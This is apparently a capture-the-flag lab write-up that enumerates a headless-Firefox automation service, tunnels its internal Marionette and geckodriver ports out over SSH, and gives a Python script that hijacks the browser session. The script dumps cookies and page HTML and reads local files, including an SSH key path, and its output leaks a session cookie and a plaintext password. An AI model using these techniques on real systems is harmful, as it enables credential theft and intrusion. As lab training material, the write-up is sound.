Surfer.Service
An unknown service, surfer.service
, was identified to be loaded and running.
PEAS enumerated it as well
bash-4.2$ systemctl status surfer.service > ./output.txt && cat ./output.txt
* surfer.service - Automated Web Browser
Loaded: loaded (/usr/lib/systemd/system/surfer.service; enabled; vendor preset: disabled)
Active: active (running) since Fri 2024-08-02 15:06:13 EDT; 7 months 9 days ago
Main PID: 1772 (python)
CGroup: /system.slice/surfer.service
|- 1772 /home/alfred/.surfer/env/bin/python /home/alfred/.surfer/main.py
|- 1773 /bin/firefox --profile /home/alfred/.surfer-profile --headless --marionette
|- 1774 /bin/geckodriver --connect-existing --marionette-port 2828
|- 1914 /usr/local/firefox/firefox-bin -contentproc -childID 2 -isForBrowser -prefsLen 6427 -prefMapSize 225966 -parentBuildID 20200917005511 -appdir /usr/local/firefox/browser 1773 true tab
|- 1980 /usr/local/firefox/firefox-bin -contentproc -childID 3 -isForBrowser -prefsLen 7803 -prefMapSize 225966 -parentBuildID 20200917005511 -appdir /usr/local/firefox/browser 1773 true tab
`-12142 /usr/local/firefox/firefox-bin -contentproc -childID 4 -isForBrowser -prefsLen 8680 -prefMapSize 225966 -parentBuildID 20200917005511 -appdir /usr/local/firefox/browser 1773 true tab
bash-4.2$ cat /usr/lib/systemd/system/surfer.service
[Unit]
Description=Automated Web Browser
After=multi-user.target
[Service]
Type=simple
User=alfred
TimeoutSec=30
WorkingDirectory=/home/alfred/.surfer
ExecStart=/home/alfred/.surfer/env/bin/python /home/alfred/.surfer/main.py
[Install]
WantedBy=multi-user.target
Looking into the service file reveals the following:
- Systemd service (
surfer.service
) running an automated web browser via Python and Firefox in headless mode. - Uses a virtual environment (
/home/alfred/.surfer/env
) to execute a Python script (main.py
). - Headless Firefox instances managed with geckodriver (Selenium/automation tool) over the marionette (Mozilla’s automation protocol) via port
2828
- Configured with a dedicated Firefox profile (
~/.surfer-profile
) for persistent settings. - Runs under the security context of the
alfred
user
Based on the observation above, this is a browser automation service set up via systemd. It runs a Python script (main.py
) that controls headless Firefox instances using Selenium tools (geckodriver and marionette protocol). The service operates under the user alfred
with a custom Firefox profile, suggesting it’s designed for tasks like web scraping, automated testing, or background data fetching. This might be responsible for automating the ticket closing that was observed during the web enumeration phase.
Additional research reveals that geckodriver binary uses the port
4444
by default
This explains the presence of the internal socket up and listening; 127.0.0.1:4444
The current user,
apache
, cannot access those directories.
SSH Remote Tunneling
Since both ports 2828
and 4444
are not accessible by Kali remotely as they are internal only, it requires tunneling.
bash-4.2$ ssh -f -N -R 2828:127.0.0.1:2828 kali@192.168.45.192
Could not create directory '/usr/share/httpd/.ssh'.
The authenticity of host '192.168.45.192 (192.168.45.192)' can't be established.
ECDSA key fingerprint is SHA256:j/MDiRpw1W/l8twiQiqtSsP4xEOlNkCKHsjsVaVnnTM.
ECDSA key fingerprint is MD5:33:82:15:13:a3:22:e1:47:21:0a:e3:89:b6:32:a4:35.
Are you sure you want to continue connecting (yes/no)? yes
Failed to add the host to the list of known hosts (/usr/share/httpd/.ssh/known_hosts).
kali@192.168.45.192's password:
Remote port forwarding the target’s 127.0.0.1:2828
socket to Kali’s port 2828
over SSH
bash-4.2$ ssh -f -N -R 4444:127.0.0.1:4444 kali@192.168.45.192
Could not create directory '/usr/share/httpd/.ssh'.
The authenticity of host '192.168.45.192 (192.168.45.192)' can't be established.
ECDSA key fingerprint is SHA256:j/MDiRpw1W/l8twiQiqtSsP4xEOlNkCKHsjsVaVnnTM.
ECDSA key fingerprint is MD5:33:82:15:13:a3:22:e1:47:21:0a:e3:89:b6:32:a4:35.
Are you sure you want to continue connecting (yes/no)? yes
Failed to add the host to the list of known hosts (/usr/share/httpd/.ssh/known_hosts).
kali@192.168.45.192's password:
Remote port forwarding the target’s 127.0.0.1:4444
socket to Kali’s port 4444
over SSH
I will also tunnel the port 4444
as it’s internal only and cannot be accessed remotely.
It might be related to the service.
Checking
Heading over to the port
2828
indeed shows gecko and marionetteProtocol that were speculated earlier.
Not entire sure about the port
4444
Remote debugging is not possible.
This is rather expected since those Firefox instances were not launched with debugger related flags(
--start-debugger-server
or --remote-debugging-port
)
Additionally the following were found during research:
- Port
4444
(geckodriver):- Default port for geckodriver’s WebDriver service.
- Uses WebDriver protocol with REST API
- Port
2828
(Firefox/Marionette):- Used by Firefox’s Marionette remote protocol for browser automation.
- Started with
--marionette
in Firefox’s command line. - Accepts automation commands from the Python script.
┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/megavolt]
└─$ curl -s http://localhost:4444/status | jq
{
"value": {
"message": "Session already started",
"ready": false
}
}
┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/megavolt]
└─$ curl -s http://localhost:4444/sessions | jq
jq: parse error: Invalid numeric literal at line 1, column 5
┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/megavolt]
└─$ curl -s http://localhost:4444/sessions
HTTP method not allowed
It would appear that not much can be done with the geckodriver’s REST API
Python Marionette Client
┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/megavolt]
└─$ mkdir marionette ; python3 -m venv marionette/.venv ; source marionette/.venv/bin/activate ; pip3 install marionette-driver
Installing the marionette-driver module
from marionette_driver.marionette import Marionette
# Connect to Firefox's Marionette server
client = Marionette(host='localhost', port=2828)
client.start_session()
# Get current URL
print("[*] Current URL:", client.get_url())
# Dump all cookies (including session cookies)
cookies = client.get_cookies()
print("[*] Cookies:")
for cookie in cookies:
print(f"{cookie['name']} = {cookie['value']}")
# Get page HTML (could contain credentials)
html = client.execute_script("return document.documentElement.outerHTML")
with open("page_dump.html", "w") as f:
f.write(html)
print("[+] Saved page HTML to page_dump.html")
# Attempt to read file
client.navigate("file:///home/alfred/.surfer/main.py")
file_content = client.find_element("tag name", "pre").text
print("[!] contents:\n", file_content)
# Check for SSH keys
client.navigate("file:///home/alfred/.ssh/id_rsa")
private_key = client.find_element("tag name", "pre").text
if "BEGIN RSA PRIVATE KEY" in private_key:
print("[!] Found SSH private key")
client.delete_session()
I create a simple script to perform various tasks
┌──(.venv)─(kali㉿kali)-[~/PEN-200/PG_PRACTICE/megavolt/marionette]
└─$ python3 check.py
[*] Current URL: http://localhost/scp/index.php
[*] Cookies: OSTSESSID=pofmb0rqcnmmula1fed0fhm1hm
[+] Saved page HTML to page_dump.html
[!] contents:
#!/usr/bin/env python3
import logging
import signal
import sys
import time
from surfer import Surfer
formatter = logging.Formatter('%(asctime)s - %(levelname)s - %(message)s')
handler = logging.StreamHandler(sys.stdout)
handler.setFormatter(formatter)
log = logging.getLogger()
log.setLevel(logging.DEBUG)
log.addHandler(handler)
username = 'alfred'
password = 'FlameGulpAstound120'
def handle_exit(surfer):
def handler(signum, frame):
log.info('termination signal received')
surfer.stop()
return handler
class MegavoltSurfer(Surfer):
def __init__(self):
Surfer.__init__(
self,
firefox_binary='/bin/firefox',
geckodriver_binary='/bin/geckodriver',
firefox_profile='/home/alfred/.surfer-profile'
)
def surf(self):
self.session.url = 'http://localhost/scp/login.php'
self.session.wait_for_page_to_load()
username_text = self.session.find.css('input[type="text"]')[0]
username_text.send_keys(username)
time.sleep(.5)
password_text = self.session.find.css('input[type="password')[0]
password_text.send_keys(password)
time.sleep(.5)
login_btn = self.session.find.css('button[type="submit"]')[0]
login_btn.click()
self.session.wait_for_page_to_load()
log.info('logged in')
if self.session.url != 'http://localhost/scp/index.php':
log.error('login failed')
return
# read and close tickets
tickets = self.session.find.css('a.preview')
if len(tickets) == 0:
log.info('all tickets processed')
return
tickets[0].click()
self.session.wait_for_page_to_load()
files = self.session.find.css('a.filename')
if len(files) > 0:
log.info('viewing attachment')
files[0].click()
time.sleep(.5)
self.session.wait_for_page_to_load()
if 'file.php' in self.session.url:
log.info('reading the attachment')
time.sleep(10)
self.session.back()
else:
log.info('ignoring attachment')
self.session.wait_for_page_to_load()
log.info('closing the ticket')
time.sleep(1)
response_text = self.session.find.css('div.redactor-editor')[0]
response_text.click()
response_text.send_keys('Apologies, but due to short staffing all tickets will be closed unless urgent.')
status_option = self.session.find.css('select[name="reply_status_id"] > option[value="2"]')[0]
status_option.click()
post_reply_btn = self.session.find.css('input[value="Post Reply"]')[0]
post_reply_btn.click()
self.session.wait_for_page_to_load()
if __name__ == '__main__':
log.info('starting surfer')
surfer = MegavoltSurfer()
signal.signal(signal.SIGTERM, handle_exit(surfer))
signal.signal(signal.SIGINT, handle_exit(surfer))
surfer.run()
Traceback (most recent call last):
[...REDACTED...]
Executing the script extracted the following:
- The current URL:
http://localhost/scp/index.php
- Cookie:
OSTSESSID=pofmb0rqcnmmula1fed0fhm1hm
/home/alfred/.surfer/main.py
file- leaks the web credential;
alfred
:FlameGulpAstound120
- performs the ticket closing automation
- leaks the web credential;
bash-4.2$ su alfred
Password: FlameGulpAstound120
su: Authentication failure
Unfortunately, there is no credential recuse or SSH private key. N/A